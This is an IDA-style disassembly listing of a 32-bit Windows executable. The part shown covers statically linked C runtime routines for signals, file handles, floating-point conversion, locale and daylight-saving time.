		cmp	ecx, [ebp+8]
		jnz	short loc_4315A3
		mov	edx, [ebp-8]
		mov	eax, [ebp+0Ch]
		mov	[edx+8], eax
		mov	ecx, [ebp-8]
		add	ecx, 0Ch
		mov	[ebp-8], ecx
		mov	edx, dword_4555AC
		imul	edx, 0Ch
		mov	eax, [ebp-4]
		mov	ecx, [eax+50h]
		add	ecx, edx
		cmp	[ebp-8], ecx
		jb	short loc_4315A1
		jmp	short loc_4315A3
; ---------------------------------------------------------------------------

loc_4315A1:				; CODE XREF: .text:0043159Dj
		jmp	short loc_43156C
; ---------------------------------------------------------------------------

loc_4315A3:				; CODE XREF: .text:004314CCj
					; .text:00431575j ...
		mov	eax, [ebp-0Ch]
		jmp	short loc_4315B6
; ---------------------------------------------------------------------------

loc_4315A8:				; CODE XREF: .text:loc_4313D3j
					; .text:0043144Aj ...
		call	__errno
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh

loc_4315B6:				; CODE XREF: .text:004315A6j
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
off_4315BB	dd offset loc_431476	; DATA XREF: .text:0043146Fr
		dd offset loc_4314B0
		dd offset loc_43148A
		dd offset loc_43149D
		dd offset loc_4314C2
byte_4315CF	db 0			; DATA XREF: .text:00431469r
		dd 3 dup(4040404h), 4040401h, 3020404h,	3 dup(0CCCCCCCCh)
; [00000092 BYTES: COLLAPSED FUNCTION ctrlevent_capture(x). PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [0000020A BYTES: COLLAPSED FUNCTION _raise. PRESS KEYPAD "+" TO EXPAND]
off_43189A	dd offset loc_4316C8	; DATA XREF: _raise+31r
		dd offset loc_431733
		dd offset loc_431719
		dd offset loc_4316E5
		dd offset loc_4316FF
		dd offset loc_43175E
byte_4318B2	db 0			; DATA XREF: _raise+2Br
		db 5
		dd 5050501h, 1050501h, 2050505h, 5050505h, 0CC040305h
		dd 2 dup(0CCCCCCCCh)
; [0000005B BYTES: COLLAPSED FUNCTION _siglookup. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [0000000D BYTES: COLLAPSED FUNCTION unknown_libname_20. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [0000000D BYTES: COLLAPSED FUNCTION ___pxcptinfoptrs.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000BB BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000001E2 BYTES: COLLAPSED FUNCTION __alloc_osfhnd. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000B7 BYTES: COLLAPSED FUNCTION __set_osfhnd. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [000000D8 BYTES: COLLAPSED FUNCTION __free_osfhnd. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000066 BYTES: COLLAPSED FUNCTION __get_osfhandle. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000104 BYTES: COLLAPSED FUNCTION __open_osfhandle.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000086 BYTES: COLLAPSED FUNCTION __lock_fhandle. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000026 BYTES: COLLAPSED FUNCTION __unlock_fhandle.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000D2 BYTES: COLLAPSED FUNCTION unknown_libname_21. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [000001BC BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [000000C7 BYTES: COLLAPSED FUNCTION __getbuf.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000003F BYTES: COLLAPSED FUNCTION __open. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000050E BYTES: COLLAPSED FUNCTION __sopen. PRESS KEYPAD "+"	TO EXPAND]
off_43289E	dd offset loc_43247E	; DATA XREF: __sopen+E7r
		dd offset loc_432487
		dd offset loc_432490
		dd offset loc_432499
		dd offset loc_4324A2
byte_4328B2	db 0			; DATA XREF: __sopen+E1r
		db 4
		dd 3 dup(4040404h), 4010404h, 3	dup(4040404h), 4020404h
		dd 3 dup(4040404h), 0CC030404h,	3 dup(0CCCCCCCCh)
; [00000032 BYTES: COLLAPSED FUNCTION __isatty.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000077 BYTES: COLLAPSED FUNCTION _wctomb. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000A0 BYTES: COLLAPSED FUNCTION __wctomb_lk. PRESS KEYPAD	"+" TO EXPAND]
; [0000007A BYTES: COLLAPSED FUNCTION _mbtowc. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000015E BYTES: COLLAPSED FUNCTION __mbtowc_lk. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [0000001F BYTES: COLLAPSED FUNCTION __allshl.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000066 BYTES: COLLAPSED FUNCTION _ungetc. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000013E BYTES: COLLAPSED FUNCTION _ungetc_0. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432E00	proc near		; CODE XREF: __umatherr+5Ap
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_432E00	endp

; ---------------------------------------------------------------------------
		align 10h
; [0000001F BYTES: COLLAPSED FUNCTION __statusfp. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000020 BYTES: COLLAPSED FUNCTION __clearfp. PRESS KEYPAD "+" TO EXPAND]
; [0000004F BYTES: COLLAPSED FUNCTION __control87. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [0000001A BYTES: COLLAPSED FUNCTION __controlfp. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000058 BYTES: COLLAPSED FUNCTION __fpreset. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000179 BYTES: COLLAPSED FUNCTION __abstract_cw. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000015A BYTES: COLLAPSED FUNCTION __hw_cw. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000A7 BYTES: COLLAPSED FUNCTION __abstract_sw. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000084 BYTES: COLLAPSED FUNCTION __ZeroTail. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [000000A8 BYTES: COLLAPSED FUNCTION __IncMan.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000DB BYTES: COLLAPSED FUNCTION __RoundMan. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [0000004C BYTES: COLLAPSED FUNCTION __CopyMan. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000002F BYTES: COLLAPSED FUNCTION __FillZeroMan. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000037 BYTES: COLLAPSED FUNCTION __IsZeroMan. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [000000EC BYTES: COLLAPSED FUNCTION __ShrMan.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000242 BYTES: COLLAPSED FUNCTION __ld12cvt. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4338D0	proc near		; CODE XREF: sub_4339D0+2Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_455678
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	__ld12cvt
		add	esp, 0Ch
		pop	ebp
		retn
sub_4338D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4338F0	proc near		; CODE XREF: sub_433A50+2Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_455690
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	__ld12cvt
		add	esp, 0Ch
		pop	ebp
		retn
sub_4338F0	endp

; ---------------------------------------------------------------------------
		align 10h
; [000000BF BYTES: COLLAPSED FUNCTION __ld12told. PRESS	KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4339D0	proc near		; CODE XREF: __fassign+14p

var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		push	0
		push	0
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		call	___strgtold12
		add	esp, 1Ch
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_C]
		push	ecx
		call	sub_4338D0
		add	esp, 8
		mov	esp, ebp
		pop	ebp
		retn
sub_4339D0	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000036 BYTES: COLLAPSED FUNCTION __atoldbl. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433A50	proc near		; CODE XREF: __fassign+34p

var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		push	0
		push	0
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		call	___strgtold12
		add	esp, 1Ch
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_C]
		push	ecx
		call	sub_4338F0
		add	esp, 8
		mov	esp, ebp
		pop	ebp
		retn
sub_433A50	endp

; ---------------------------------------------------------------------------
		align 10h
; [000000FA BYTES: COLLAPSED FUNCTION __fptostr. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000077 BYTES: COLLAPSED FUNCTION __fltout2. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000162 BYTES: COLLAPSED FUNCTION ___dtold.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000000F BYTES: COLLAPSED FUNCTION __fptrap.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000005B BYTES: COLLAPSED FUNCTION __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS	*). PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000015 BYTES: COLLAPSED FUNCTION __CxxSetUnhandledExceptionFilter(void). PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000011 BYTES: COLLAPSED FUNCTION __CxxRestoreUnhandledExceptionFilter(void). PRESS	KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433E30	proc near		; CODE XREF: FindHandler(EHExceptionRecord *,EHRegistrationNode	*,_CONTEXT *,void *,_s_FuncInfo	const *,uchar,int,EHRegistrationNode *)+9Ep
					; BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+77p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 1
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	ds:dword_4F64A4	; IsBadReadPtr
		test	eax, eax
		jz	short loc_433E54
		mov	[ebp+var_4], 0

loc_433E54:				; CODE XREF: sub_433E30+1Bj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_433E30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433E60	proc near		; CODE XREF: BuildCatchObject(EHExceptionRecord	*,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+89p
					; BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+EDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 1
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	ds:dword_4F64A0	; IsBadWritePtr
		test	eax, eax
		jz	short loc_433E84
		mov	[ebp+var_4], 0

loc_433E84:				; CODE XREF: sub_433E60+1Bj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_433E60	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000027 BYTES: COLLAPSED FUNCTION _ValidateExecute(int (*)(void)). PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000001E BYTES: COLLAPSED FUNCTION _abort. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		pop	ebp
		retn
; [0000003D BYTES: COLLAPSED FUNCTION ___tzset.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000001E BYTES: COLLAPSED FUNCTION __tzset. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000003AB BYTES: COLLAPSED FUNCTION __tzset_lk. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [0000002E BYTES: COLLAPSED FUNCTION __isindst. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434320	proc near		; CODE XREF: __isindst+12p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4556AC, 0
		jnz	short loc_434334
		xor	eax, eax
		jmp	loc_434616
; ---------------------------------------------------------------------------

loc_434334:				; CODE XREF: sub_434320+Bj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		cmp	ecx, dword_455740
		jnz	short loc_434354
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		cmp	eax, dword_455750
		jz	loc_43451B

loc_434354:				; CODE XREF: sub_434320+20j
		cmp	dword_4F49D8, 0
		jz	loc_4344D5
		xor	ecx, ecx
		mov	cx, word_4F4A78
		test	ecx, ecx
		jnz	short loc_4343C9
		xor	edx, edx
		mov	dx, word_4F4A86
		push	edx
		xor	eax, eax
		mov	ax, word_4F4A84
		push	eax
		xor	ecx, ecx
		mov	cx, word_4F4A82
		push	ecx
		xor	edx, edx
		mov	dx, word_4F4A80
		push	edx
		push	0
		xor	eax, eax
		mov	ax, word_4F4A7C
		push	eax
		xor	ecx, ecx
		mov	cx, word_4F4A7E
		push	ecx
		xor	edx, edx
		mov	dx, word_4F4A7A
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		push	ecx
		push	1
		push	1
		call	_cvtdate
		add	esp, 2Ch
		jmp	short loc_43441A
; ---------------------------------------------------------------------------

loc_4343C9:				; CODE XREF: sub_434320+4Cj
		xor	edx, edx
		mov	dx, word_4F4A86
		push	edx
		xor	eax, eax
		mov	ax, word_4F4A84
		push	eax
		xor	ecx, ecx
		mov	cx, word_4F4A82
		push	ecx
		xor	edx, edx
		mov	dx, word_4F4A80
		push	edx
		xor	eax, eax
		mov	ax, word_4F4A7E
		push	eax
		push	0
		push	0
		xor	ecx, ecx
		mov	cx, word_4F4A7A
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		push	eax
		push	0
		push	1
		call	_cvtdate
		add	esp, 2Ch

loc_43441A:				; CODE XREF: sub_434320+A7j
		xor	ecx, ecx
		mov	cx, word_4F4A24
		test	ecx, ecx
		jnz	short loc_434482
		xor	edx, edx
		mov	dx, word_4F4A32
		push	edx
		xor	eax, eax
		mov	ax, word_4F4A30
		push	eax
		xor	ecx, ecx
		mov	cx, word_4F4A2E
		push	ecx
		xor	edx, edx
		mov	dx, word_4F4A2C
		push	edx
		push	0
		xor	eax, eax
		mov	ax, word_4F4A28
		push	eax
		xor	ecx, ecx
		mov	cx, word_4F4A2A
		push	ecx
		xor	edx, edx
		mov	dx, word_4F4A26
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		push	ecx
		push	1
		push	0
		call	_cvtdate
		add	esp, 2Ch
		jmp	short loc_4344D3
; ---------------------------------------------------------------------------

loc_434482:				; CODE XREF: sub_434320+105j
		xor	edx, edx
		mov	dx, word_4F4A32
		push	edx
		xor	eax, eax
		mov	ax, word_4F4A30
		push	eax
		xor	ecx, ecx
		mov	cx, word_4F4A2E
		push	ecx
		xor	edx, edx
		mov	dx, word_4F4A2C
		push	edx
		xor	eax, eax
		mov	ax, word_4F4A2A
		push	eax
		push	0
		push	0
		xor	ecx, ecx
		mov	cx, word_4F4A26
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		push	eax
		push	0
		push	0
		call	_cvtdate
		add	esp, 2Ch

loc_4344D3:				; CODE XREF: sub_434320+160j
		jmp	short loc_43451B
; ---------------------------------------------------------------------------

loc_4344D5:				; CODE XREF: sub_434320+3Bj
		push	0
		push	0
		push	0
		push	2
		push	0
		push	0
		push	1
		push	4
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		push	edx
		push	1
		push	1
		call	_cvtdate
		add	esp, 2Ch
		push	0
		push	0
		push	0
		push	2
		push	0
		push	0
		push	5
		push	0Ah
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		push	ecx
		push	1
		push	0
		call	_cvtdate
		add	esp, 2Ch

loc_43451B:				; CODE XREF: sub_434320+2Ej
					; sub_434320:loc_4344D3j
		mov	edx, dword_455744
		cmp	edx, dword_455754
		jge	short loc_434574
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	ecx, dword_455744
		jl	short loc_434545
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	eax, dword_455754
		jle	short loc_43454C

loc_434545:				; CODE XREF: sub_434320+215j
		xor	eax, eax
		jmp	loc_434616
; ---------------------------------------------------------------------------

loc_43454C:				; CODE XREF: sub_434320+223j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		cmp	edx, dword_455744
		jle	short loc_434572
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	ecx, dword_455754
		jge	short loc_434572
		mov	eax, 1
		jmp	loc_434616
; ---------------------------------------------------------------------------

loc_434572:				; CODE XREF: sub_434320+238j
					; sub_434320+246j
		jmp	short loc_4345B7
; ---------------------------------------------------------------------------

loc_434574:				; CODE XREF: sub_434320+207j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	eax, dword_455754
		jl	short loc_434590
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		cmp	edx, dword_455744
		jle	short loc_434597

loc_434590:				; CODE XREF: sub_434320+260j
		mov	eax, 1
		jmp	short loc_434616
; ---------------------------------------------------------------------------

loc_434597:				; CODE XREF: sub_434320+26Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	ecx, dword_455754
		jle	short loc_4345B7
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	eax, dword_455744
		jge	short loc_4345B7
		xor	eax, eax
		jmp	short loc_434616
; ---------------------------------------------------------------------------

loc_4345B7:				; CODE XREF: sub_434320:loc_434572j
					; sub_434320+283j ...
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		imul	edx, 3Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		imul	eax, 0E10h
		add	ecx, eax
		imul	ecx, 3E8h
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		cmp	edx, dword_455744
		jnz	short loc_434602
		mov	eax, [ebp+var_4]
		cmp	eax, dword_455748
		jl	short loc_4345FE
		mov	eax, 1
		jmp	short loc_434616
; ---------------------------------------------------------------------------

loc_4345FE:				; CODE XREF: sub_434320+2D5j
		xor	eax, eax
		jmp	short loc_434616
; ---------------------------------------------------------------------------

loc_434602:				; CODE XREF: sub_434320+2CAj
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_455758
		jge	short loc_434614
		mov	eax, 1
		jmp	short loc_434616
; ---------------------------------------------------------------------------

loc_434614:				; CODE XREF: sub_434320+2EBj
		xor	eax, eax

loc_434616:				; CODE XREF: sub_434320+Fj
					; sub_434320+227j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_434320	endp

; ---------------------------------------------------------------------------
		align 10h
; [000001F8 BYTES: COLLAPSED FUNCTION _cvtdate.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000DB BYTES: COLLAPSED FUNCTION ___init_time. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [0000058F BYTES: COLLAPSED FUNCTION __get_lc_time. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000030B BYTES: COLLAPSED FUNCTION __free_lc_time. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000002A6 BYTES: COLLAPSED FUNCTION ___init_numeric. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000007D BYTES: COLLAPSED FUNCTION _fix_grouping. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000130 BYTES: COLLAPSED FUNCTION ___init_monetary.	PRESS KEYPAD "+" TO EXPAND]
; [0000020D BYTES: COLLAPSED FUNCTION __get_lc_lconv. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000007D BYTES: COLLAPSED FUNCTION _fix_grouping_0. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000093 BYTES: COLLAPSED FUNCTION __free_lc_lconv. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000003A0 BYTES: COLLAPSED FUNCTION unknown_libname_24. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435CD0	proc near		; DATA XREF: .data:004554F4o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_435CD0	endp

; ---------------------------------------------------------------------------
		align 10h
; [0000003E BYTES: COLLAPSED FUNCTION _strcspn.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000003A BYTES: COLLAPSED FUNCTION unknown_libname_26. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000200 BYTES: COLLAPSED FUNCTION ___get_qualified_locale. PRESS KEYPAD "+"	TO EXPAND]
; [00000082 BYTES: COLLAPSED FUNCTION _TranslateName. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000BA BYTES: COLLAPSED FUNCTION _GetLcidFromLangCountry. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000324 BYTES: COLLAPSED FUNCTION LangCountryEnumProc(x). PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000074 BYTES: COLLAPSED FUNCTION _GetLcidFromLanguage. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [0000011F BYTES: COLLAPSED FUNCTION LanguageEnumProc(x). PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000045 BYTES: COLLAPSED FUNCTION _GetLcidFromCountry. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [000000AC BYTES: COLLAPSED FUNCTION CountryEnumProc(x). PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [0000002B BYTES: COLLAPSED FUNCTION _GetLcidFromDefault. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [0000009B BYTES: COLLAPSED FUNCTION _ProcessCodePage.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000004F BYTES: COLLAPSED FUNCTION _TestDefaultCountry. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000087 BYTES: COLLAPSED FUNCTION _TestDefaultLanguage. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [0000004D BYTES: COLLAPSED FUNCTION _IsThisWindowsNT.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000184 BYTES: COLLAPSED FUNCTION crtGetLocaleInfoA(x,x,x,x). PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000076 BYTES: COLLAPSED FUNCTION _LcidFromHexString. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000065 BYTES: COLLAPSED FUNCTION _GetPrimaryLen. PRESS KEYPAD "+" TO EXPAND]
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		push	0
		mov	eax, [ebp+8]
		push	eax
		call	sub_436C80
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [00000015 BYTES: COLLAPSED FUNCTION __ismbbkprint. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000015 BYTES: COLLAPSED FUNCTION __ismbbkpunct. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000018 BYTES: COLLAPSED FUNCTION __ismbbalnum. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000018 BYTES: COLLAPSED FUNCTION __ismbbalpha. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000018 BYTES: COLLAPSED FUNCTION __ismbbgraph. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000018 BYTES: COLLAPSED FUNCTION __ismbbprint. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000015 BYTES: COLLAPSED FUNCTION __ismbbpunct. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000015 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000015 BYTES: COLLAPSED FUNCTION __ismbbtrail. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [0000003B BYTES: COLLAPSED FUNCTION __ismbbkana. PRESS KEYPAD	"+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_436C80	proc near		; CODE XREF: .text:00436B0Bp
					; __ismbbkprint+Bp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dl, byte_4F4D61[ecx]
		and	edx, [ebp+arg_8]
		test	edx, edx
		jnz	short loc_436CD4
		cmp	[ebp+arg_4], 0
		jz	short loc_436CBE
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, word ptr (__wctype+2)[eax*2]
		and	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		jmp	short loc_436CC5
; ---------------------------------------------------------------------------

loc_436CBE:				; CODE XREF: sub_436C80+27j
		mov	[ebp+var_4], 0

loc_436CC5:				; CODE XREF: sub_436C80+3Cj
		cmp	[ebp+var_4], 0
		jnz	short loc_436CD4
		mov	[ebp+var_8], 0
		jmp	short loc_436CDB
; ---------------------------------------------------------------------------

loc_436CD4:				; CODE XREF: sub_436C80+21j
					; sub_436C80+49j
		mov	[ebp+var_8], 1

loc_436CDB:				; CODE XREF: sub_436C80+52j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_436C80	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000073 BYTES: COLLAPSED FUNCTION __chsize.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000230 BYTES: COLLAPSED FUNCTION __chsize_lk. PRESS KEYPAD	"+" TO EXPAND]
; [0000003E BYTES: COLLAPSED FUNCTION ___addl. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000AD BYTES: COLLAPSED FUNCTION ___add_12. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000060 BYTES: COLLAPSED FUNCTION ___shl_12. PRESS KEYPAD "+" TO EXPAND]
; [00000063 BYTES: COLLAPSED FUNCTION ___shr_12. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000013B BYTES: COLLAPSED FUNCTION ___mtold12. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000A1A BYTES: COLLAPSED FUNCTION ___strgtold12. PRESS KEYPAD "+" TO EXPAND]
off_437CBA	dd offset loc_43737C	; DATA XREF: ___strgtold12+D5r
		dd offset loc_43741A
		dd offset loc_4374D0
		dd offset loc_43753B
		dd offset loc_437653
		dd offset loc_437785
		dd offset loc_4377FB
		dd offset loc_4378E0
		dd offset loc_437882
		dd offset loc_437933
		dd offset loc_437AA3
		dd offset loc_437A3F
off_437CEA	dd offset loc_4374A9	; DATA XREF: ___strgtold12+1F0r
		dd offset loc_437497
		dd offset loc_4374A0
		dd offset loc_4374BB
byte_437CFA	db 0			; DATA XREF: ___strgtold12+1EAr
		db 3
		dd 1030300h, 4 dup(3030303h), 2030303h,	3030302h, 6 dup(3030303h)
		dd 2030303h
		db 2
		dd offset loc_43762C	; DATA XREF: ___strgtold12+37Cr
		dd offset loc_437623
		dd offset loc_43763E
byte_437D41	db 0			; DATA XREF: ___strgtold12+376r
		dw 2
		dd 5 dup(2020202h), 1010202h, 7	dup(2020202h), 1010202h
